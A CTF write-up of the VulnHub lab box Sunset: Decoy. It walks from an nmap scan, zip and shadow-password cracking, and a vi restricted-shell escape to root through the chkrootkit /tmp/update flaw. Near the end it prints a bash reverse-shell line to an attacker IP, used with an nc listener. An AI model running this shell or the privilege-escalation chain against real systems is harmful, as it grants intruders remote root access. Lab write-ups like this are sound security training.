Here’s my write-up for Sunset: Decoy, a VulnHub box created by whitecr0wz, which is part of the Sunset series.
Write-up
The description for this box states the following:
Easy/Intermediate (May variate depending on your background)
It is recommended to run this machine in Virtualbox.
I ran nmap to see which services were exposed:
kali@kali:~$ nmap -sC -sV -p- 192.168.1.123
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-11 04:11 EDT
Nmap scan report for 60832e9f188106ec5bcc4eb7709ce592 (192.168.1.123)
Host is up (0.00050s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 a9:b5:3e:3b:e3:74:e4:ff:b6:d5:9f:f1:81:e7:a4:4f (RSA)
| 256 ce:f3:b3:e7:0e:90:e2:64:ac:8d:87:0f:15:88:aa:5f (ECDSA)
|_ 256 66:a9:80:91:f3:d8:4b:0a:69:b0:00:22:9f:3c:4c:5a (ED25519)
80/tcp open http Apache httpd 2.4.38
| http-ls: Volume /
| SIZE TIME FILENAME
| 3.0K 2020-07-07 16:36 save.zip
|_
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Index of /
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Only port 80 and 22 appeared to be exposed. I took a look at what was being served by port 80 and found a single zip file named “save.zip”. I downloaded the file and attempted to extract the contents but found that it required a password.
I used fcrackzip to crack the zip password: “manuel”.
Inside the zip file was a backup from (I guessed) the box I was trying to gain access to. I could see the passwd file and the shadow file, which was all I needed to attempt to crack the user’s passwords.
The password for user “296640a3b825115a47b68fc44501c828” was “server”. I logged into the machine using ssh and started looking around. Looking around was a little difficult to do at this point because I was in a restricted shell, something I needed to break out of if I was going to get anywhere.
I found an interesting looking executable named “honeypot.decoy”. I ran honeypot.decoy to see what it did, and I also copied honeypot.decoy back to my machine for some analysis in Ghidra.
Ghidra showed what each option honeypot.decoy was executing under the hood. The first interesting option was option 7 as I could potentially use vi to break out of the restricted shell. The second interesting option was option 5. The output of this option suggested that an AV scan was going to start in “a minute or less” but the command that was ran as part of this option just placed a file in /dev/shm named STTY5246. This suggested to me that there was a cronjob running every minute that looked for this particular file and would action something based on its presence.
The first thing to do was to break out of the restricted shell using vi. I ran honeypot.decoy, entered option 7 which placed me into a vi editor. I ran the following commands in vi to gain access to a sh session:
:set shell=/bin/sh
:shell
Once I had an unrestricted shell I updated the PATH as the PATH was set to: /home/296640a3b825115a47b68fc44501c828 which was a bit limited.
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:$PATH
Now I could do some interesting things:
Before I got started looking into option 5 in honeypot.decoy I looked around the user’s home directory a bit more and came across some log files for a program named “pspy”. I did some research and found out that pspy was a tool for showing processes running on the machine without the need for root permissions.
I downloaded a copy of pspy for myself and copied it onto the machine using scp and ran it, hoping it would give me some more insight into what that presumed cronjob (option 5) is doing.
In one tab I selected option 5 from honeypot.decoy and in another tab I had pspy running on the box. Within 30 seconds I could see a flood of processes appearing from something called chkrootkit, executed by root.
Sure enough, the existence of “STTY5246” in /dev/shm was causing something, somewhere, to execute chkrootkit.
I looked around for some more information on chkrootkit and came across an exploit for the exact version of chkrootkit the box was running:
- Put an executable file named 'update' with non-root owner in /tmp (not
mounted noexec, obviously)
- Run chkrootkit (as uid 0)
Result: The file /tmp/update will be executed as root, thus effectively
rooting your box, if malicious content is placed inside the file.
I placed a reverse shell command into /tmp/update and marked the file as executable, as per the exploit instructions:
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.199/9000 0>&1
I also set up a listener on my machine using nc. A few seconds later the update was executed and I had remote root access:
